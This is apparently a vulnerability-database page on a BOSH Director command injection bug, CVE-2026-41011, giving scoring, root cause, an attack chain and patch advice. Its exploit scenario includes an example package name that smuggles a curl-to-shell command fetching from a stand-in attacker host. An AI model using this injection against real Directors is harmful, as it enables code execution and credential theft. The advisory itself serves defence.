Skip to main content

Cloud Foundry BOSH CVE-2026-41011

| EUVDEUVD-2026-34197 HIGH
OS Command Injection (CWE-78)
2026-06-04 vmware GHSA-96vc-39m3-22w5
8.7
CVSS 4.0 · Vendor: vmware
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain BOSH release-upload credentials
  2. Delivery
    Craft tarball with shell metacharacters in release.MF package name
  3. Exploit
    Upload release to Director API
  4. Execution
    PackagePersister.validate_tgz interpolates name into tar command
  5. Persist
    /bin/sh -c executes injected payload as Director account
  6. Impact
    Harvest deployment credentials and pivot to managed VMs

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must possess BOSH credentials with authority to upload a release to the Director (a privileged operator role, reflected by CVSS PR:H), and must be able to deliver a tarball whose internal release.MF contains a name value with shell metacharacters that survives until PackagePersister.validate_tgz invokes tar -tf via Bosh::Common::Exec.sh - which executes through /bin/sh -c without Shellwords.escape. Exploitation is limited by the requirement that the Sequel VALID_ID regex would normally reject such a name, so the attacker depends on the create_package ordering bug (shell-out at lines 74-79 firing before package.save), and by the CVSS AT:P / AC:H rating indicating non-trivial attack preconditions; no user interaction is required. Deployments that do not expose release upload to lower-trust tenants or CI systems materially shrink the attack surface.

Impact

The CVSS 4.0 vector (AV:L/AC:H/AT:P/PR:H/UI:N) describes a local, high-complexity attack requiring high privileges and a present attack requirement, yielding 8.7 driven by high VC/VI/VA and scope-changed SC/SI/SA impacts - consistent with code execution on the BOSH Director, which then controls every deployment it manages. The PR:H rating is meaningful: an attacker already needs the ability to upload a BOSH release (typically a privileged operator role), so this is a privilege-escalation / tenant-isolation break rather than a perimeter RCE. No EPSS score, KEV listing, or POC was supplied, and the only reference is the vendor's own disclosure blog, so real-world exploitation pressure appears low today; however, the trust model of BOSH - where the Director is effectively root of the deployed estate - means a successful exploit is high-impact. AV:L conflicts somewhat with the typical remote-API upload path used to submit releases; defenders should verify with the Cloud Foundry advisory whether the vendor classifies the API channel as local.

Exploit ScenarioDerived

A malicious or compromised operator with release-upload privileges crafts a BOSH release tarball whose release.MF lists a package with a name such as foo;curl attacker.example/x|sh;#, then uploads it to the Director; when PackagePersister.validate_tgz runs tar -tf .../packages/foo;curl ...|sh;#.tgz through /bin/sh -c, the injected command executes as the Director's service account before Sequel validation rejects the name. From the Director the attacker can read deployment manifests, credentials, and CredHub references, then pivot to every managed deployment. No public POC is referenced in the available data.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 04, 2026

Command injection in Cloud Foundry BOSH versions prior to v282.1.12 allows an attacker who can upload a release tarball to execute arbitrary shell commands on the BOSH Director host by embedding shell metacharacters in the package name field of the release.MF manifest. The flaw stems from PackagePersister.validate_tgz interpolating the unsanitized name into a tar -tf invocation executed through /bin/sh -c, with model-level validation occurring only after the shell-out. No public exploit identified at time of analysis, and the bug is not listed in CISA KEV.

Earlier versions of this analysis (2)
v2 Jun 04, 2026 - 03:28 cvss changed CVSS 8.7

OS command injection in Cloud Foundry BOSH (all versions prior to v282.1.12) allows an authenticated release uploader to execute arbitrary shell commands on the BOSH Director by embedding shell metacharacters in the package name field of release.MF. Because the unescaped name is interpolated into a tar -tf command run via /bin/sh -c before Sequel model validation rejects the malformed identifier, the injection fires during release upload. No public exploit identified at time of analysis, and the issue is not on the CISA KEV list.

v1 Jun 04, 2026 - 02:43 CVSS 8.2

Command injection in Cloud Foundry BOSH director (versions prior to v282.1.12) allows an authenticated user uploading a release tarball to execute arbitrary shell commands on the BOSH director host via a malicious package name in release.MF. The flaw stems from unescaped interpolation of attacker-controlled input into a shell command executed before Sequel model validation runs. No public exploit identified at time of analysis, but the bug is well-documented by the upstream Cloud Foundry advisory and the root cause is straightforward to reproduce.

RemediationAI

Vendor-released patch: BOSH v282.1.12 - upgrade the BOSH Director to v282.1.12 or later as the primary fix, per the Cloud Foundry advisory at https://www.cloudfoundry.org/blog/cve-2026-41011-package-name-command-injection/. Until upgrade is possible, restrict who can upload BOSH releases by tightening UAA scopes and team membership so only fully trusted operators hold bosh.releases.upload / admin authority, and gate uploads through an out-of-band review that inspects release.MF for shell metacharacters in package name fields before the tarball reaches the Director; both controls slow legitimate release workflows and are not a substitute for patching. Monitor Director audit logs for unexpected child processes spawned under the tar -tf code path as a detective control.

Affected VersionsENISA

BOSH 0 <282.1.12

Affected Packages

euvd bosh fix: 282.1.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

BOSH is the Cloud Foundry Foundation's release engineering, deployment, and lifecycle management tool used to deploy and manage distributed systems such as Cloud Foundry itself. The defect is a classic CWE-78 (OS Command Injection): the Ruby helper Bosh::Common::Exec.sh wraps %x{...}, which spawns /bin/sh -c, and PackagePersister.validate_tgz constructs the command string with raw interpolation of package_meta['name'] taken straight from the user-supplied release.MF inside the uploaded tarball. Although Models::Package defines VALID_ID = /^[-0-9A-Za-z_+.]+$/i to reject dangerous names, create_package (lines 74-79) invokes save_package_source_blob - which triggers the shell-out - before package.save runs validation, so Sequel's check never fires in time to block injection. Shellwords.escape is also not applied.

Know when Bosh gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vmware) PRIMARY 8.7 HIGH
CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (vmware) · only source for this CVE.

CVSS VectorVendor: vmware

Attack Vector
Local
Attack Complexity
High
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Patch available
Jun 04, 2026 - 04:15 EUVD
Analysis Updated
Jun 04, 2026 - 03:28 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 04, 2026 - 03:28 vuln.today
v2 - CVSS changed
CVSS changed
Jun 04, 2026 - 03:22 NVD
8.2 (HIGH) 8.7 (HIGH)

DescriptionCVE.org

PackagePersister.validate_tgz builds "tar -tf #{tgz} 2>&1" where tgz = File.join(release_dir, 'packages', "#{name}.tgz") and name = package_meta['name'] comes directly from release.MF inside the uploaded tarball. The string is passed to Bosh::Common::Exec.sh, which executes via %x{} - i.e., /bin/sh -c. No Shellwords.escape is applied. The Models::Package Sequel validation (VALID_ID = /^[-0-9A-Za-z_+.]+$/i) would reject the name, but in create_package (lines 74-79) the shell-out in save_package_source_blob runs before package.save, so validation fires too late.

Affected versions:

  • BOSH: all versions prior to v282.1.12 (inclusive); fixed in v282.1.12 or later

Executive ViewAI

Why It Matters

Cloud Foundry BOSH versions before v282.1.12 contain a command injection vulnerability in release package validation that permits remote code execution on the BOSH Director host; no public exploit has been identified to date. Organizations using BOSH face direct risk of infrastructure platform compromise if release tarballs can be uploaded by insufficiently trusted parties.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Restrict release tarball uploads to authenticated administrative personnel only; mandate code review and validation of release manifest files, particularly the package name field, before processing; monitor BOSH Director logs for unexpected shell command invocations; consider network isolation of BOSH Directors from untrusted networks.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Social Media
5
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in BOSH Ecosystem Cryptographic and Injection Flaws

View all 4

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy